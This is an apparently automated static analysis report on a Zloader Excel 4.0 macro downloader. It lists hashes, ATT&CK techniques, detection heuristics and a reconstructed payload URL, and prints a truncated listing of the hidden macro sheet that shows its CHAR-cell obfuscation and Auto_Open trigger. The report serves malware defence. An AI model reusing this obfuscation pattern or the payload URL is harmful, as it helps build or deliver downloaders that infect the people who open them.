Zloader — Office (OLE) malware analysis

Static analysis result for SHA-256 0516bcb7a2bfa2b4…

MALICIOUS

Office (OLE)

166.5 KB Created: 2020-02-27 10:23:09 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: 0322dfbe3c7d58e116b7fb990cec7fa5 SHA-1: d06f6be8aff39817051ebc51aa1ddb87c0a7629d SHA-256: 0516bcb7a2bfa2b4fe0f19849b35bc5965f07f1d6abaaf40e6bbf55f96938983
262 Risk Score

Malware Insights

Zloader · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The file contains Excel 4.0 macros with an Auto_Open entry, indicating automatic execution upon opening. These macros are designed to reconstruct and download a payload from the embedded URL 'https://grpxmqnrb.pw/egrg4g3g'. ClamAV detection confirms this is a known downloader variant, likely Zloader.

Heuristics 6

  • ClamAV: Xls.Downloader.Zloader-f8537378cabc848c-9950315-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Zloader-f8537378cabc848c-9950315-0
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • URL reconstructed from XLM cell array (1 URL) critical OLE_XLM_CELL_ARRAY_URL
    Excel 4.0 macro sheet stages its payload URL across the BIFF8 Shared String Table (one quoted-char SST entry concatenated with & at runtime), across individual numeric cells (one ASCII charcode per cell), or split across multi-char fragment cells a download formula concatenates by reference (=A1&A2&… / CONCATENATE(...)). The reconstructed URL is invisible to literal-bytes URL extraction because it is never contiguous in the workbook stream. URLs were recovered by walking the BIFF8 record stream and decoding SST entries, LABELSST/RK/NUMBER cells, and FORMULA cell-reference concatenation in token order.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://grpxmqnrb.pw/egrg4g3g Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 45231 bytes
SHA-256: 09a97eb30ed2cbe1b6280ba7d4f0ad17c39d85910f512ae20876db46f116a7bd
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden -  VubcPQKfz
' 0018     29 LABEL : Cell Value, String Constant - _xlfn.CONCAT hidden len=2 ptgErr  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x1d'
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!S1 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  VubcPQKfz,A1,"",61.00000000000000000000
'  VubcPQKfz,B1,CHAR(A1),""
'  VubcPQKfz,C1,"",61.00000000000000000000
'  VubcPQKfz,D1,CHAR(C1),""
'  VubcPQKfz,E1,"",61.00000000000000000000
'  VubcPQKfz,F1,CHAR(E1),""
'  VubcPQKfz,G1,"",61.00000000000000000000
'  VubcPQKfz,H1,CHAR(G1),""
'  VubcPQKfz,I1,"",61.00000000000000000000
'  VubcPQKfz,J1,CHAR(I1),""
'  VubcPQKfz,K1,"",61.00000000000000000000
'  VubcPQKfz,L1,CHAR(K1),""
'  VubcPQKfz,M1,"",61.00000000000000000000
'  VubcPQKfz,N1,CHAR(M1),""
'  VubcPQKfz,O1,"",61.00000000000000000000
'  VubcPQKfz,P1,CHAR(O1),""
'  VubcPQKfz,Q1,"",61.00000000000000000000
'  VubcPQKfz,R1,CHAR(Q1),""
'  VubcPQKfz,S1,"FORMULA(B1&B2&B3&B4&B5&B6&B7&B8&B9&B10&B11&B12&B13&B14&B15&B16&B17&B18&B19&B20&B21&B22&B23&B24&B25&B26&B27&B28&B29&B30&B31&B32&B33&B34&B35&B36&B37&B38&B39&B40&B41,T1)",""
'  VubcPQKfz,A2,"",73.00000000000000000000
'  VubcPQKfz,B2,[],""
'  VubcPQKfz,C2,"",73.00000000000000000000
'  VubcPQKfz,D2,CHAR(C2),""
'  VubcPQKfz,E2,"",73.00000000000000000000
'  VubcPQKfz,F2,CHAR(E2),""
'  VubcPQKfz,G2,"",73.00000000000000000000
'  VubcPQKfz,H2,CHAR(G2),""
'  VubcPQKfz,I2,"",73.00000000000000000000
'  VubcPQKfz,J2,CHAR(I2),""
'  VubcPQKfz,K2,"",67.00000000000000000000
'  VubcPQKfz,L2,CHAR(K2),""
'  VubcPQKfz,M2,"",65.00000000000000000000
'  VubcPQKfz,N2,CHAR(M2),""
'  VubcPQKfz,O2,"",67.00000000000000000000
'  VubcPQKfz,P2,CHAR(O2),""
'  VubcPQKfz,Q2,"",67.00000000000000000000
'  VubcPQKfz,R2,CHAR(Q2),""
'  VubcPQKfz,S2,"FORMULA(D1&D2&D3&D4&D5&D6&D7&D8&D9&D10&D11&D12&D13&D14&D15&D16&D17&D18&D19&D20&D21&D22&D23&D24&D25&D26&D27&D28&D29&D30&D31&D32&D33&D34&D35&D36&D37&D38&D39&D40&D41,T2)",""
'  VubcPQKfz,A3,"",70.00000000000000000000
'  VubcPQKfz,B3,[],""
'  VubcPQKfz,C3,"",70.00000000000000000000
'  VubcPQKfz,D3,CHAR(C3),""
'  VubcPQKfz,E3,"",70.00000000000000000000
'  VubcPQKfz,F3,CHAR(E3),""
'  VubcPQKfz,G3,"",70.00000000000000000000
'  VubcPQKfz,H3,CHAR(G3),""
'  VubcPQKfz,I3,"",70.00000000000000000000
'  VubcPQKfz,J3,CHAR(I3),""
'  VubcPQKfz,K3,"",65.00000000000000000000
'  VubcPQKfz,L3,CHAR(K3),""
'  VubcPQKfz,M3,"",76.00000000000000000000
'  VubcPQKfz,N3,CHAR(M3),""
'  VubcPQKfz,O3,"",65.00000000000000000000
'  VubcPQKfz,P3,CHAR(O3),""
'  VubcPQKfz,Q3,"",76.00000000000000000000
'  VubcPQKfz,R3,CHAR(Q3),""
'  VubcPQKfz,S3,"FORMULA(F1&F2&F3&F4&F5&F6&F7&F8&F9&F10&F11&F12&F13&F14&F15&F16&F17&F18&F19&F20&F21&F22&F23&F24&F25&F26&F27&F28&F29&F30&F31&F32&F33&F34&F35,T3)",""
'  VubcPQKfz,A4,"",40.00000000000000000000
'  VubcPQKfz,B4,[],""
'  VubcPQKfz,C4,"",40.00000000000000000000
'  VubcPQKfz,D4,CHAR(C4),""
'  VubcPQKfz,E4,"",40.00000000000000000000
'  VubcPQKfz,F4,CHAR(E4),""
'  VubcPQKfz,G4,"",40.00000000000000000000
'  VubcPQKfz,H4,CHAR(G4),""
'  VubcPQKfz,I4,"",40.00000000000000000000
'  VubcPQKfz,J4,CHAR(I4),""
'  VubcPQKfz,K4,"",76.00000000000000000000
'  VubcPQKfz,L4,CHAR(K4),""
'  VubcPQKfz,M4,"",69.00000000000000000000
'  VubcPQKfz,N4,CHAR(M4),""
'  VubcPQKfz,O4,"",76.00000000000000000000
'  VubcPQKfz
... (truncated)